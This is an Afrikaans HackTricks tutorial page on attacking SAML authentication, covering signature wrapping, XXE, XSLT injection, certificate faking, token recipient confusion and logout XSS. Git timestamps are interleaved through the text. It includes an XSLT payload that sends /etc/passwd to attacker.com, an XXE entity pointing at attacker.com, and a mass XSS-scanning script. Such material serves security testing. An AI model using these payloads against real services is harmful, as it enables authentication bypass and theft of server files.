hacktricks/pentesting-web/saml-attacks/README.md

308 lines
20 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# SAML Aanvalle
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## SAML Aanvalle
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:10 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
## Gereedskap
2024-02-11 02:07:06 +00:00
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): 'n Gereedskap wat 'n URL of 'n lys van URL kan neem en SAML-verbruik-URL teruggee.
2024-02-11 02:07:06 +00:00
## XML rondreis
2024-02-11 02:07:06 +00:00
In XML word die ondertekende gedeelte van die XML in die geheue gestoor, waarna enige enkodering/ontkodering uitgevoer word en die handtekening nagegaan word. Ideaal gesproke behoort daardie enkodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data verskil**.
2024-02-11 02:07:06 +00:00
Byvoorbeeld, kyk na die volgende kode:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
2024-02-11 02:07:06 +00:00
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
2024-02-11 02:07:06 +00:00
Die uitvoer van die program teen REXML 3.2.4 of vroeër sal die volgende uitset gee:
```
First child in original doc: Y
First child after round-trip: Z
```
2024-02-11 02:07:06 +00:00
Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien het:
2024-02-06 14:12:47 +00:00
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (561).png>)
2024-02-11 02:07:06 +00:00
En dit is hoe dit dit gesien het na 'n ronde van ontleding en serialisering:
2024-02-06 14:12:47 +00:00
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (562).png>)
2024-02-11 02:07:06 +00:00
Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
2024-02-11 02:07:06 +00:00
## XML-handtekeningverwikkelingsaanvalle
2024-02-11 02:07:06 +00:00
In **XML-handtekeningverwikkelingsaanvalle (XSW)** maak aanvallers gebruik van 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee afsonderlike fases verwerk word: **handtekeningvalidering** en **funksie-aanroeping**. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek **voeg die aanvaller vervalsde elemente in** wat nie die geldigheid van die XML-handtekening benadeel nie. Hierdie manipulasie het ten doel om 'n diskrepansie te skep tussen die elemente wat deur die **toepassingslogika** ontleed word en dié wat deur die **handtekeningverifikasiemodule** nagegaan word. As gevolg hiervan, terwyl die XML-handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassingslogika die **bedrieglike elemente**. Gevolglik omseil die aanvaller effektief die XML-handtekening se **integriteitsbeskerming** en **oorsprongverifikasie**, wat die **inspuiting van willekeurige inhoud** sonder opsporing moontlik maak.
2024-02-11 02:07:06 +00:00
Die volgende aanvalle is gebaseer op **[hierdie blogpos](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) en [hierdie artikel](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Kyk dus daarna vir verdere besonderhede.
2022-05-01 13:25:53 +00:00
### XSW #1
2024-02-11 02:07:06 +00:00
- **Strategie**: 'n Nuwe hoofelement wat die handtekening bevat, word bygevoeg.
- **Impak**: Die validator kan verward raak tussen die wettige "Response -> Assertion -> Subject" en die aanvaller se "bose nuwe Response -> Assertion -> Subject", wat lei tot data-integriteitsprobleme.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (538).png>)
2022-05-01 13:25:53 +00:00
### XSW #2
2024-02-11 02:07:06 +00:00
- **Verskil van XSW #1**: Maak gebruik van 'n losgekoppelde handtekening in plaas van 'n omhullende handtekening.
- **Impak**: Die "bose" struktuur, soortgelyk aan XSW #1, probeer om die besigheidslogika na die integriteitskontrole te mislei.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (539).png>)
2022-05-01 13:25:53 +00:00
### XSW #3
2024-02-11 02:07:06 +00:00
- **Strategie**: 'n Bose Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.
- **Impak**: Dit beoog om die besigheidslogika te verwar deur die gebruik van die skadelike data.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (540).png>)
2022-05-01 13:25:53 +00:00
### XSW #4
2024-02-11 02:07:06 +00:00
- **Verskil van XSW #3**: Die oorspronklike Assertion word 'n kind van die gedupliseerde (bose) Assertion.
- **Impak**: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
2022-05-01 13:25:53 +00:00
### XSW #5
2024-02-11 02:07:06 +00:00
- **Unieke Aspek**: Noch die Handtekening, noch die oorspronklike Assertion voldoen aan standaardkonfigurasies (omhullend/omhullend/losgekoppel).
- **Impak**: Die gekopieerde Assertion omhul die Handtekening en wysig die verwagte dokumentstruktuur.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
2022-05-01 13:25:53 +00:00
### XSW #6
2024-02-11 02:07:06 +00:00
- **Strategie**: Soortgelyke plasing as XSW #4 en #5, maar met 'n draai.
- **Impak**: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, en skep 'n geneste misleidende struktuur.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)
2022-05-01 13:25:53 +00:00
### XSW #7
2024-02-11 02:07:06 +00:00
- **Strategie**: 'n Extensions-element word ingevoeg met die gekopieerde Assertion as 'n kind.
- **Impak**: Dit maak gebruik van die minder beperkende skema van die Extensions-element om skemasvalidasie-teenvoeters te omseil, veral in biblioteke soos OpenSAML.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
2022-05-01 13:25:53 +00:00
### XSW #8
2024-02-11 02:07:06 +00:00
- **Verskil van XSW #7**: Maak gebruik van 'n ander minder beperkende XML-element vir 'n variant van die aanval.
- **Impak**: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik word, omkeer.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (545).png>)
2024-02-11 02:07:06 +00:00
### Hulpmiddel
2024-02-11 02:07:06 +00:00
Jy kan die Burp-uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die versoek te ontleding, enige XSW-aanval wat jy kies toe te pas en dit te lanceer.
2022-05-01 13:25:53 +00:00
## XXE
2024-02-11 02:07:06 +00:00
As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
SAML-responsies is **gekomprimeerde en base64-geënkripteerde XML-dokumente** en kan vatbaar wees vir XML External Entity (XXE) aanvalle. Deur die XML-struktuur van die SAML-responsie te manipuleer, kan aanvallers probeer om XXE-kwesbaarhede uit te buit. Hier is hoe so 'n aanval gevisualiseer kan word:
2024-02-06 14:12:47 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
2024-02-11 02:07:06 +00:00
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
2024-02-11 02:07:06 +00:00
## Gereedskap
2024-02-11 02:07:06 +00:00
Jy kan ook die Burp-uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC te genereer van 'n SAML-versoek om te toets vir moontlike XXE-gebreklikhede en SAML-gebreklikhede.
2024-02-11 02:07:06 +00:00
Kyk ook na hierdie praatjie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-02-16 12:43:10 +00:00
2022-05-01 13:25:53 +00:00
## XSLT via SAML
2024-02-11 02:07:06 +00:00
Vir meer inligting oor XSLT gaan na:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskillende formate soos HTML, JSON of PDF te omskep. Dit is belangrik om daarop te let dat **XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word**. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.
2024-02-11 02:07:06 +00:00
Hier kan jy 'n **POC** vind om vir hierdie soort kwesbaarhede te toets, in die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem word, kan jy payloads vind.
2024-02-06 14:12:47 +00:00
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
2024-02-11 02:07:06 +00:00
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
2024-02-11 02:07:06 +00:00
### Hulpmiddel
2024-02-11 02:07:06 +00:00
Jy kan ook die Burp-uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC te genereer van 'n SAML-versoek om te toets vir moontlike XSLT-gevoelighede.
2024-02-11 02:07:06 +00:00
Kyk ook na hierdie praatjie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-02-16 12:43:10 +00:00
2024-02-11 02:07:06 +00:00
## Uitsluiting van XML-handtekening <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
2024-02-11 02:07:06 +00:00
Die **Uitsluiting van XML-handtekening** neem kennis van die gedrag van SAML-implementasies wanneer die Handtekening-element nie teenwoordig is nie. As hierdie element ontbreek, kan **handtekeningvalidering nie plaasvind nie**, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud te verander wat gewoonlik deur die handtekening geverifieer word.
2024-02-06 14:12:47 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
2024-02-11 02:07:06 +00:00
### Hulpmiddel <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
2024-02-11 02:07:06 +00:00
Jy kan ook die Burp-uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik. Onderbreek die SAML-reaksie en klik op `Verwyder Handtekeninge`. Deur dit te doen, word **alle** Handtekening-elemente verwyder.
2024-02-11 02:07:06 +00:00
Met die handtekeninge verwyder, laat die versoek toe om na die teiken voort te gaan. As die Handtekening nie vereis word deur die Diens nie
2024-02-11 02:07:06 +00:00
## Sertifikaatvervalsing <a href="#certificate-faking" id="certificate-faking"></a>
2024-02-11 02:07:06 +00:00
## Sertifikaatvervalsing
Sertifikaatvervalsing is 'n tegniek om te toets of 'n **Diensverskaffer (SP) behoorlik verifieer dat 'n SAML-boodskap deur 'n vertroude Identiteitsverskaffer (IdP) onderteken** is. Dit behels die gebruik van 'n ***self-ondertekende sertifikaat** om die SAML-reaksie of -bewering te onderteken, wat help om die vertrouensvalideringsproses tussen SP en IdP te evalueer.
2024-02-11 02:07:06 +00:00
### Hoe om Sertifikaatvervalsing uit te voer
Die volgende stappe skets die proses met behulp van die [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp-uitbreiding:
2024-02-11 02:07:06 +00:00
1. Onderbreek die SAML-reaksie.
2. As die reaksie 'n handtekening bevat, stuur die sertifikaat na SAML Raider Certs deur die `Stuur Sertifikaat na SAML Raider Certs`-knoppie te gebruik.
3. Kies in die SAML Raider Sertifikate-tabblad die ingevoerde sertifikaat en klik op `Stoor en Skep Self-ondertekening` om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
4. Gaan terug na die onderskepte versoek in Burp se Proksi. Kies die nuwe self-ondertekende sertifikaat uit die XML-handtekening-keuslys.
5. Verwyder enige bestaande handtekeninge met die `Verwyder Handtekeninge`-knoppie.
6. Onderteken die boodskap of bewering met die nuwe sertifikaat deur die **`(Her-)Onderteken Boodskap`** of **`(Her-)Onderteken Bewering`**-knoppie, soos van toepassing.
7. Stuur die ondertekende boodskap voort. Suksesvolle outentifikasie dui daarop dat die SP boodskappe aanvaar wat deur jou self-ondertekende sertifikaat onderteken is, wat potensiële kwesbaarhede in die valideringsproses van die SAML-boodskappe blootstel.
2024-02-11 02:07:06 +00:00
## Verwarring van Tokenontvanger / Verwarring van Diensverskaffersteiken <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
2024-02-11 02:07:06 +00:00
Verwarring van Tokenontvanger en Verwarring van Diensverskaffersteiken behels die toets of die **Diensverskaffer die bedoelde ontvanger van 'n reaksie korrek valideer**. In beginsel moet 'n Diensverskaffer 'n outentiseringsreaksie verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die **Ontvanger**-veld, wat binne die **SubjectConfirmationData**-element van 'n SAML-reaksie gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Bewering gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Bewering as ongeldig beskou word.
2024-02-11 02:07:06 +00:00
#### **Hoe dit werk**
2024-02-11 02:07:06 +00:00
Om 'n SAML Tokenontvangerverwarring (SAML-TRC) aanval uitvoerbaar te maak, moet sekere voorwaardes voldoen word. Eerstens moet daar 'n geldige rekening wees by 'n Diensverskaffer (verwys as SP-Legit). Tweedens moet die geteikende Diensverskaffer (SP-Teiken) tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.
2024-02-11 02:07:06 +00:00
Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Outentieke sessie word geïnisieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML-reaksie van die Identiteitsverskaffer na SP-Legit word onderskep. Hierdie onderskepte SAML-reaksie, oorspronklik bedoel vir SP-Legit, word dan na SP-Teiken omgelei. Sukses in hierdie aanval word gemeet deur SP-Teiken wat die Bewering aanvaar en toegang tot hulpbronne verleen onder dieselfde rekeningnaam wat vir SP-Legit gebruik is.
2024-02-06 14:12:47 +00:00
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
2024-02-11 02:07:06 +00:00
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
2024-02-06 14:12:47 +00:00
```
2024-02-11 02:07:06 +00:00
## XSS in Uitlogfunksionaliteit
2024-02-11 02:07:06 +00:00
Die oorspronklike navorsing kan deur middel van [hierdie skakel](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) bereik word.
2024-02-11 02:07:06 +00:00
Tydens die proses van gidsbrutekragtiging is 'n uitlogbladsy ontdek by:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
2024-02-11 02:07:06 +00:00
By die toegang tot hierdie skakel, het 'n herleiding plaasgevind na:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
2024-02-11 02:07:06 +00:00
Dit het aan die lig gekom dat die `base` parameter 'n URL aanvaar. Met hierdie in gedagte het die idee ontstaan om die URL te vervang met `javascript:alert(123);` in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.
2024-02-06 14:12:47 +00:00
2024-02-11 02:07:06 +00:00
### Massa Uitbuiting
2024-02-11 02:07:06 +00:00
[Volgens hierdie navorsing](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
2024-02-11 02:07:06 +00:00
Die [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) hulpmiddel is gebruik om subdomeine van `uberinternal.com` te analiseer vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrips ontwikkel om die `oidauth/prompt` bladsy te teiken. Hierdie skrips toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit weerspieël word in die uitset. In gevalle waar die inset wel weerspieël word, merk die skrips die bladsy as kwesbaar.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
2024-02-11 02:07:06 +00:00
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
2024-02-11 02:07:06 +00:00
## Verwysings
2024-02-06 14:12:47 +00:00
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:10 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>